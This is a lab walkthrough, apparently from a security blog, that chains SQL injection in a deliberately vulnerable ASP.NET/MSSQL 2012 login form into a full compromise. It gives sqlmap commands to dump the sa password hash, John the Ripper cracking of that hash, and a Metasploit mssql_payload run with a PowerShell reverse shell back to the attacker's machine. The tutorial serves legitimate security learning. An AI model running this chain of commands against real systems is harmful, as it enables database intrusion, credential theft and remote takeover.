Table of Content:
- Background
- Lab Preparation
- Confirming SQL Injection
- Exploit sql injection using sqlmap
- Crack Password Hash
- Operating System Shell Access
- Whats Next?
- Source Code
Background
SQL Injection is a technique whereby attacker insert malicious SQL statement into application inputs in an attempt to take control of the application behavior. SQL Injection flaw can be seen as one of the oldest vulnerability that still exists in todays applications.
In this article, I will not be discussing in greater details on how SQL Injection flaw occurs and number of different techniques that can be utilized to exploit this. Instead, I will be focusing on using tools like sqlmap to exploit SQL Injection against application that runs on top of ASP.NET and MSSQL 2012. However, I am planning to write seperate article that specifically talks about SQL injection.
You may ask “whats a big deal? isn’t it just another SQL injection that can be easily tackled?” I just stumbled accross this type of application a week ago and amazingly sqlmap failed to dump MS SQL server 2012 user password hash into a readable format.
I have no clues to why this is so, but I manage to overcome this by sending SQL query that called up the sys.fn_sqlvarbasetostr() function to reveal a readable MS SQL 2012 password hash. I am still curious why sending sys.fn_varbintohexstr() does not do the trick.
Anyhow, lets get started.
Lab Preparation:
In simulating SQL Injection attack, I am using the following tools and system:
- Target System and Application:
- Microsoft Windows 8.1 Enterprise Operating System
- Microsoft SQL Server 2012 (SP1) – 11.0.3128.0 (Intel X86)
- IIS 8.5 (IIS available on the default windows 8.1)
- .NET Framework 3.5 that I installed through windows 8 features located within “add program”
- Simple ASP.NET login form application that I downloaded from http://www.aspdotnet-suresh.com/2011/12/how-to-create-simple-login-form-using.html. However, I modified the code little bit to make it vulnerable to SQL Injection. You may download the updated script at the bottom of this article
- Attacking System and Application:
- Ubuntu 14 Operating System
- Burp suites for proxy interceptor
- Latest sqlmap from https://github.com/sqlmapproject/sqlmap
- John The Ripper Bleeding-Jumbo from https://github.com/magnumripper/JohnTheRipper used to crack MS SQL 2012 password hash
- Bunch of wordlists from https://github.com/danielmiessler/SecLists/tree/master/Passwords to help us in cracking the password. I know this is overkilled but this list had once help me in difficult times :).
- Metasploit to gain access to Target Operating System reverse shell
Before proceeding, I modified ASP.NET based login form so that it does not use parameterized SQL statement. Below is part of the default.aspx.cs file that I modified.
To make this experiment easier, I configured IIS to throw any error it encountered to the requesting users. This will allow us to see clearly when SQL injection attack succeed, though this is not neccesary to carryout a successful attack. Below is web.config file that enable thorough error dump.
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<httpErrors errorMode="Detailed" />
</system.webServer>
<system.web>
<customErrors mode="Off"/>
</system.web>
<connectionStrings>
<add name="dbconnection" connectionString="Data Source=MY-WIN8\SQLEXPRESS;UID=sa;PWD=p@ssw0rd;Initial Catalog=coba"/>
</connectionStrings>
</configuration>
Confirming SQL Injection:
Before firing out sqlmap to extract MS SQL 2012 credential , we need to confirm the existance of SQL Injection on our testing application. Open the login form application and submit proper credential to ensure that the application is running as expected. To setup the basic credential, please create test database along with the required fields as instructed in http://www.aspdotnet-suresh.com/2011/12/how-to-create-simple-login-form-using.html.
Proceed with the following step to validate simple SQL Injection.
1.Submit single quote ‘ to the username field and insert any password to the password field. 2.Application error should appear immediately informing that SQL client unable to process the “unlosed quotation mark”. This is one of the simplest indication that the application is vulnerable to SQL Injection
3.Now, try submiting simple equation such as ‘ or 1=1 or ‘1’=’1 to the username field and any string to the password field. This equation will simply canceled out the authentication logic and hence will allow attacker to login to the application using the first username in the database.
4.If the above equation bring you the logged on page, then SQL injection is there to be exploited :).
Exploit sql injection using sqlmap:
Now, comes to the fun part. We will be exploiting this vulnerability to read MS SQL 2012 user password hash. As you have already aware that MS SQL store user password in hash format and therefore require further work (cracking) to reveal the “true” or “clear text” password.
For now, lets get started to retrieve these password hashes by following below procedures:
1.Open burp suites so that we can tap or intercept our requesting data packets to the application. These requesting data will be used by the sqlmap to submit the exact and same request to the application. Once proper request has been made, sqlmap will perform various operations to identify valid injectable parameters.
2.Ensure that your browser proxy is pointing to the localhost IP with port 8080 set (if you run burp suites on this port)
3.Now, submit the proper username and password through your browser and observe the output from burp suites. Complete the entire request by pressing forward under proxy –> intercept of your burp suites
4.Once entire authentication communication has been recorded by burp suites, copy content of the requesting body for used by sqlmap as depicted below:
5.Open sqlmap to continue with the exploitation and provide URL of the target application, parameter to be injected along with the above content body to sqlmap through “–data” options. From previous activities, we have already discovered that username and password parameters are SQL Injectable. It is not always required to provide injectable paramater to sqlmap since sqlmap is capable of discovering the vulnerabilities by utilizing varoius techniques.
To get started quickly, lets try to enumerate type of database used by target application through “–banner” options. Below is the complete command to enumerate database type
python sqlmap.py --url="http://172.16.192.177" --data="__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwULLTE4MjI5ODQ3ODhkZBhYr%2F8jkYBFxsKYA1YM1vPkqv5P%2FQj8KLA89PfymMCs&__EVENTVALIDATION=%2FwEdAARI43w1YsdHPRRITZvRBlVuY3plgk0YBAefRz3MyBlTcInkg%2Fut7Je4AtoEsfzZAOI85pbWlDO2hADfoPXD%2F5tdeqsY63Vwtk2NY2Vz7Ib0nYv%2BCWGPoIG6fglzvAXHKcM%3D&txtUserName=adinanta&txtPWD=p%40ssw0rd&btnSubmit=Submit" -p txtUserName --banner
let’s briefly discuss the options that are being used
6.Answer all questions ask by sqlmap with default answer by pressing enter. Lets observe the output given by the sqlmap as depicted below:
and YES,,sqlmap finally able to detect the backend database type used by the application. This is also means that exploitation of SQL Injection is a success.
7.Now, it is time to enumerate MS SQL 2012 username and password hash so that we could crack those hash to reveal “clear text” password. This time, we will be sending out custom query that read through master database and iterates all contents of the sys.sql_logins table. Below is the sql query
select name,master.sys.fn_sqlvarbasetostr(password_hash) from master.sys.sql_logins
If we look at master.sys.sql_logins tables, there are several information available pertaining to MS SQL users account. However, only 2 fields that are most interest us and these are name and password_hash fields. Bear in mind that MS SQL server 2012 store password hash in encoded and binary format and hence only readable through the use of function call fn_sqlvarbasetostr. There is also similar function called fn_varbintohexstr() but this function does not seem to work when sent through sqlmap. I have tried invoking this function through sql query analyzer and work perfectly. I do not know why is this so :(.
anyhow, let see how sqlmap react with this custom query by providing the following options
python sqlmap.py --url="http://172.16.192.177" --data="__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwULLTE4MjI5ODQ3ODhkZBhYr%2F8jkYBFxsKYA1YM1vPkqv5P%2FQj8KLA89PfymMCs&__EVENTVALIDATION=%2FwEdAARI43w1YsdHPRRITZvRBlVuY3plgk0YBAefRz3MyBlTcInkg%2Fut7Je4AtoEsfzZAOI85pbWlDO2hADfoPXD%2F5tdeqsY63Vwtk2NY2Vz7Ib0nYv%2BCWGPoIG6fglzvAXHKcM%3D&txtUserName=adinanta&txtPWD=p%40ssw0rd&btnSubmit=Submit" -p txtUserName --sql-query="select name,master.sys.fn_sqlvarbasetostr(password_hash) from master.sys.sql_logins"
8.Now observe the result of the custom query.
BOOOMMM!!!!! we finally retrieved sa password hash…
Crack Password Hash:
Okay, now we have got “sa” account password hash. It is time to crack that hash to reveal the actual “clear text password”. My favorite tool is John The Ripper jumbo version or you could also use alternative such as hashcat http://hashcat.net/oclhashcat/. It does not matter much whichever tools you use.
To proceed with John The Ripper, follow the procedures below:
1.Create file that store retrieved password hash. Lets called it sa_password_hash that contain the following string:
sa:0x0200d485677e4c5ceac899845f96e075cc7ff880a2f707c11d2b9045f8b06c943b9f1a95b77875248238a0c38a68bc2a4f3cdb3e229a5e106ad6b18735f295820c15b59e1d55
2.We now ready to crack that hash using john the ripper with the help of wordlist called rockyou.txt that I downloaded from github as mention on top of this article. Wordlist is not neccesary though but I always try this first before performing any incremental cracking method. Below is the command we will executing
./john --format=mssql12 --wordlist=/home/adinanta/tools/wordlist/rockyou.txt /home/adinanta/sa_password_hash
3.Observe the results returned by John The Ripper
woohoooo……. we got password for “sa” account :).
Operating System Shell Access :
Nothing in this world more compelling than having a shell access to our target :). So, we should not stop right here and saying “its enough”.
There are various way to get access to the operating system shell from a successfull MS SQL 2012 exploitation. To simplify this brief tutorial, I am just going to use metasploit module to send shell payload to the target through SQL protocol. To follow below procedure, make sure you have metasploit ready on your attacking system:
1.Start metasploit framework by executing msfconsole. Select auxiliary/scanner/mssql/mssql_login module to validate “sa” password that we have just cracked previously.
2.Set RHOSTS parameter to our target IP (in my case, IP address of the target machine is 172.16.192.177) by executing command “set rhosts 172.16.192.177”
3.Set PASSWORD parameter to “p@ssw0rd” (this is the clear text password we just cracked)
4.Execute command “show options” to see that all required Information have been filled in.
5.Now, its time to run the scanner to validate whether “sa” account password is valid. Execute command “run” and observe the result.
YES….we got the password right :).
6.To deliver shell payload to target machine, we will be using module exploit/windows/mssql/mssql_payload. To get started, fill out RHOST to IP address of the target, leave the username “sa” and insert PASSWORD parameter with our clear text password “p@ssw0rd”. Once this is done, execute command “show options” to see that all required parameters are there and ready.
7.The final part is to decide what shell payload type we are going to deliver. This time, I am just going to use “windows/powershell_reverse_tcp” as the payload because I do not want anti virus blocking my way to the operating system :). you may try experimenting with other shell payload by loooking at lists provided by executing “show payloads”.
Anyhow, lets execute command “set payload windows/powershell_reverse_tcp” and set LHOST paramater with IP address of the attacking machine (in my case, my linux IP address is 172.16.192.174) and LPORT to port 443.
To verify that everything are set, execute command “show options” and your setting may look like to following screenshot
Now, we are ready to rock. Execute command “exploit” to start delivering the shell payload to our target machine through MS SQL protocol
Nice…we just got windows 8 command shell.
Whats Next? :
We finally pwned windows 8 system through SQL Injection vulnerability. There are several things that I think you should try and these are:
- Try sending out custom SQL query that use sys.fn_varbintohexstr() to reveal password hash. In my case, it didn’t work
- Try –password options of sqlmap to retrieve password hash instead of sending out custom SQL Query. And again, I couldn’t get this working as expected
- Try –os-shell option too to get access to Operating System shell. This didn’t work either on my case :(.
- Try to escalate priviledge from network service account to system account. This time, I could do this successfully using local exploit that was release few months ago. I will write the complete walk through in few days time :).
I hope you enjoy this simple walk through.